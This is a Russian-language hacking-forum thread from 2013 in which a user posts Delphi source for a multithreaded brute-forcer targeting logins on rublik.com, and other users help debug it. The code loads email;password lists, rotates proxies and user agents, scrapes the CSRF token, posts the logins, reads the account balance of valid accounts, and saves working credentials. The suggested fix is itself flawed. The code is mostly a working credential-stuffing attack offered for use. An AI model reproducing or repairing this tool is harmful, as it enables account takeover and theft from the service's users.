проблема с брутом

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by egorea1999, 8 May 2013.

  1. egorea1999

    egorea1999 New Member

    Joined:
    4 Dec 2011
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    короче чет брутит но только один акк
    Code:
    http.IOHandler:=ssl;
data:=tstringlist.Create;
     data.Add('email='+FAcc);
     data.Add('password='+FPas);


 html:=Http.Get('http://www.rublik.com/');
hash:=pars('name="_csrf" value="', html, '"/>');
    data.Add('_csrf='+hash);


      try
     HTML:=http.Post('http://www.rublik.com/login', data);
      Rez:=0;
     except
if HTTP.ResponseCode=302 then


    begin
     s:=Http.Get('http://www.rublik.com/cabinet/summary');
       if Pos('На счету <b>',s)<>0 then
      begin
     ok:=Pars('На счету <b>',s,'</b>');
      end;
     Rez:=1;
    end
      else
     Rez:=-1;
      end;
      end;
     HTTP.Free;
     data.Free;
     Synchronize(Sync);
end;

    [email protected];trallka
    гуд акк
    Егор: короче, если положить в текстовый файл
    [email protected];trallka
    [email protected];trallka1
    [email protected];trallka2
    брутит - но только первый [email protected];trallka(гуд первый и чекает, а другие нет)
    а если [email protected];trallka положить в середину или в конец
    [email protected];trallka1
    [email protected];trallka
    [email protected];trallka3
    то вообще не брутит!
    че за фигня, помогите пожалуйста
     
    #1 egorea1999, 8 May 2013
  2. Diamantx

    Diamantx New Member

    Joined:
    17 Feb 2012
    Messages:
    64
    Likes Received:
    1
    Reputations:
    0
    Юзай цикл
     
    #2 Diamantx, 8 May 2013
  3. Diamantx

    Diamantx New Member

    Joined:
    17 Feb 2012
    Messages:
    64
    Likes Received:
    1
    Reputations:
    0
    Скинь полный код программы
     
    #3 Diamantx, 9 May 2013
  4. egorea1999

    egorea1999 New Member

    Joined:
    4 Dec 2011
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Code:
    unit Unit1;

interface

uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
    StdCtrls, ComCtrls, SyncObjs, Spin, Buttons, ExtCtrls, XPMan,
    sSkinManager, sLabel, IdAntiFreezeBase, Vcl.IdAntiFreeze, ShellApi,
    Vcl.ExtDlgs, sComboBox, IdCookieManager, IdCustomTransparentProxy, IdSocks,
    IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL,
    sSpinEdit, sBitBtn, sGroupBox, sEdit, acProgressBar, Vcl.ImgList,
    acAlphaImageList, sDialogs, sMemo, sFileCtrl, sCheckBox, sPageControl,
  Vcl.Imaging.jpeg, acPNG;

type

    TOnlines=class(TForm)
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sBitBtn2: TsBitBtn;
    sBitBtn3: TsBitBtn;
    sBitBtn1: TsBitBtn;
    sBitBtn4: TsBitBtn;
    sGroupBox2: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sLabel3: TsLabel;
    sourceLabel1: TsLabel;
    GoodLabel3: TsLabel;
    BadLabel4: TsLabel;
    sLabel5: TsLabel;
    proxyLabel2: TsLabel;
    sCheckBox1: TsCheckBox;
    sProgressBar1: TsProgressBar;
    sGroupBox3: TsGroupBox;
    sLabel6: TsLabel;
    sLabel7: TsLabel;
    sSpinEdit2: TsSpinEdit;
    sSpinEdit1: TsSpinEdit;
    sComboBox1: TsComboBox;
    sMemo1: TsMemo;
    sSkinManager1: TsSkinManager;
    IdHTTP1: TIdHTTP;
    IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
    IdSocksInfo1: TIdSocksInfo;
    IdCookieManager1: TIdCookieManager;
    sAlphaImageList1: TsAlphaImageList;
    sOpenDialog1: TsOpenDialog;
    Image1: TImage;
    Image2: TImage;
    sLabel4: TsLabel;
    ErrorLabel5: TsLabel;

    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure sBitBtn1Click(Sender: TObject);
    procedure sBitBtn2Click(Sender: TObject);
    procedure sBitBtn3Click(Sender: TObject);
    procedure sBitBtn4Click(Sender: TObject);
    procedure sCheckBox1Click(Sender: TObject);

private
    { Private declarations }
public
    { Public declarations }
end;
    TNewThread = class(TThread)
    private
    FAcc : string;
    FPas : string;
    IP   : string;
    Port : string;
    Rez  : Integer;

protected

procedure Execute; override;
public
    procedure Sync;
    constructor Create(CreateSuspended: Boolean);
end;

var
    Onlines: TOnlines;
    Accounts, Proxy:Tstringlist;
    Thread, Acc:integer;
    Work:boolean;
    AK47:TcriticalSection;
    GoodFile, BadFile: Textfile;
    TP:integer;
    UserAg: array [0..10] of string=(
    'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
    'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
    'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
    'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
    'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
    'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
    );

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
    inherited Create(CreateSuspended);
end;

procedure TNewThread.Execute;
var
    CurAcc:integer;
    data:Tstringlist;
    HTTP:TIdHTTP;
    SSL :TIdSSLIOHandlerSocketOpenSSL;
    SOCKS:TIdSocksInfo;
    s:string;
    cook:TIdCookieManager;
    HTML:string;
    begin
    while Work do
    begin
    AK47.Enter;
    Inc(Acc);
    if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
    inc(TP);
    if TP=Proxy.Count-1 then tp:=0;
    AK47.Leave;
    if Work then
    begin
    /////////////////////////////////
    HTTP := TIdHTTP.Create(nil);
    http.HandleRedirects:=false;
    http.AllowCookies:=true;
    SSL:=TIdSSLIOHandlerSocketOpenSSL.Create;     ssl.Port:=433;
    http.ReadTimeout:=Onlines.sSpinEdit1.Value*1000;
    http.Request.UserAgent:=UserAg[random(10)];
    if Proxy.Text = '' then sleep(0) else
    if Onlines.sComboBox1.Text='HTTP/HTTPS' then
begin
    IP:=Copy(Proxy[tp], 1, Pos(':',Proxy[tp])-1);
    PORT:=Copy(Proxy[tp], Pos(':', Proxy[tp])+1, Length(Proxy[tp]));
    http.ProxyParams.ProxyServer:=IP;
    http.ProxyParams.ProxyPort:=strtoint(PORT);
end;

    if Onlines.sComboBox1.Text='SOCKCS4' then

begin
    SOCKS:=TIdSocksInfo.Create;
    SOCKS.Version:=svSocks4;
    SOCKS.Host:=Copy(Proxy[tp],1,Pos(':',Proxy[tp])-1);
    SOCKS.Port:=StrToInt(Copy(Proxy[tp],Pos(':',Proxy[tp])+1,Length(Proxy[tp])));
    SOCKS.Authentication:= saNoAuthentication;
    SSL.TransparentProxy:=SOCKS;
end;

    if Onlines.sComboBox1.Text='SOCKS5' then

begin
    SOCKS:=TIdSocksInfo.Create;
    SOCKS.Version:=svSocks5;
    SOCKS.Host:=Copy(Proxy[tp],1,Pos(':',Proxy[tp])-1);
    SOCKS.Port:=StrToInt(Copy(Proxy[tp],Pos(':',Proxy[tp])+1,Length(Proxy[tp])));
    SOCKS.Authentication:= saNoAuthentication;
    SSL.TransparentProxy:=SOCKS;
    /////////////////////////// Прокси
    end;
    if pos(':', Accounts[CurAcc])<>0 then
    begin
    FAcc:= Copy(Accounts[CurAcc],1,Pos(':',Accounts[CurAcc])-1);
    FPas:= Copy(Accounts[CurAcc],Pos(':',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
    end
    else
    begin
    FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
    FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
end;
http.IOHandler:=ssl;
data:=tstringlist.Create;
     data.Add('email='+FAcc);
     data.Add('password='+FPas);
  //   data.Add('type=ajax');


 html:=Http.Get('http://www.rublik.com/');
hash:=pars('name="_csrf" value="', html, '"/>');
    data.Add('_csrf='+hash);


      try
     HTML:=http.Post('http://www.rublik.com/login', data);
    // if HTTP.ResponseCode=200 then

    // if Pos('Accept-Encoding: identity', Http.Request.RawHeaders.Text)<>0 then
      Rez:=0;
     except
if HTTP.ResponseCode=302 then


    begin
     s:=Http.Get('http://www.rublik.com/cabinet/summary');
       if Pos('На счету <b>',s)<>0 then
      begin
     ok:=Pars('На счету <b>',s,'</b>');
      end;
     Rez:=1;
    end
     // if Pos('Accept-Encoding: identity', Http.Request.RawHeaders.Text)<>0 then
      else
     Rez:=-1;
      end;
      end;
     HTTP.Free;
     data.Free;
     Synchronize(Sync);
end;
    dec(Thread);
    if Thread=0 then application.MessageBox('        Готово!', 'Информация'); //// Диалог окнa завершения
end;
procedure TNewThread.Sync;
begin
    case Rez of
    0:begin
    Accounts.Add(FAcc+';'+FPas);
    Append(BadFile);
    Writeln(BadFile,FAcc+':'+FPas);
    Closefile(BadFile);
    Onlines.BadLabel4.Caption:=IntToStr(StrToInt(Onlines.BadLabel4.Caption)+1);
    Onlines.sProgressBar1.Position:=Onlines.sProgressBar1.Position+1;
end;
    1:begin
    Append(GoodFile);
    Writeln(GoodFile,FAcc+':'+FPas);
    Closefile(GoodFile);
    Onlines.GoodLabel3.Caption:=IntToStr(StrToInt(Onlines.GoodLabel3.Caption)+1);
    if Onlines.sCheckBox1.Checked=true then
    begin
    beep;
    end..
     
    #4 egorea1999, 9 May 2013
  5. Diamantx

    Diamantx New Member

    Joined:
    17 Feb 2012
    Messages:
    64
    Likes Received:
    1
    Reputations:
    0
    Code:
    for i:=0 to Accounts.Count - 1 do 
begin
    if pos(':', Accounts[CurAcc])<>0 then
    begin
    FAcc:= Copy(Accounts[I],1,Pos(':',Accounts[I])-1);
    FPas:= Copy(Accounts[I],Pos(':',Accounts[I])+1,Length(Accounts[I]));
    end
    else
    begin
    FAcc:= Copy(Accounts[I],1,Pos(';',Accounts[I])-1);
    FPas:= Copy(Accounts[I],Pos(';',Accounts[I])+1,Length(Accounts[I]));
end;
http.IOHandler:=ssl;
data:=tstringlist.Create;
     data.Add('email='+FAcc);
     data.Add('password='+FPas);
  //   data.Add('type=ajax');
 html:=Http.Get('http://www.rublik.com/');
hash:=pars('name="_csrf" value="', html, '"/>');
    data.Add('_csrf='+hash);

      try
     HTML:=http.Post('http://www.rublik.com/login', data);
    // if HTTP.ResponseCode=200 then
    // if Pos('Accept-Encoding: identity', Http.Request.RawHeaders.Text)<>0 then
      Rez:=0;
     except
if HTTP.ResponseCode=302 then
    begin
     s:=Http.Get('http://www.rublik.com/cabinet/summary');
       if Pos('На счету <b>',s)<>0 then
      begin
     ok:=Pars('На счету <b>',s,'</b>');
      end;
     Rez:=1;
    end
     // if Pos('Accept-Encoding: identity', Http.Request.RawHeaders.Text)<>0 then
      else
     Rez:=-1;
      end;
      end;
end;
     
    #5 Diamantx, 9 May 2013
    1 person likes this.
  6. egorea1999

    egorea1999 New Member

    Joined:
    4 Dec 2011
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    не работает
     
    #6 egorea1999, 10 May 2013
  7. Diamantx

    Diamantx New Member

    Joined:
    17 Feb 2012
    Messages:
    64
    Likes Received:
    1
    Reputations:
    0
    Задай переменную I. И вообще, если не разбираешься в таких простых вещах, лучше за небольшую плату попроси профессионала.
     
    #7 Diamantx, 10 May 2013
  8. sud0

    sud0 Banned

    Joined:
    1 Jan 2013
    Messages:
    263
    Likes Received:
    40
    Reputations:
    20

    засрал тс тему уже, закрыть можно))
     
    #8 sud0, 10 May 2013
  9. Diamantx

    Diamantx New Member

    Joined:
    17 Feb 2012
    Messages:
    64
    Likes Received:
    1
    Reputations:
    0
    Ну человек спросил, я отвечаю.
     
    #9 Diamantx, 10 May 2013
(You must log in or sign up to post here.)
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.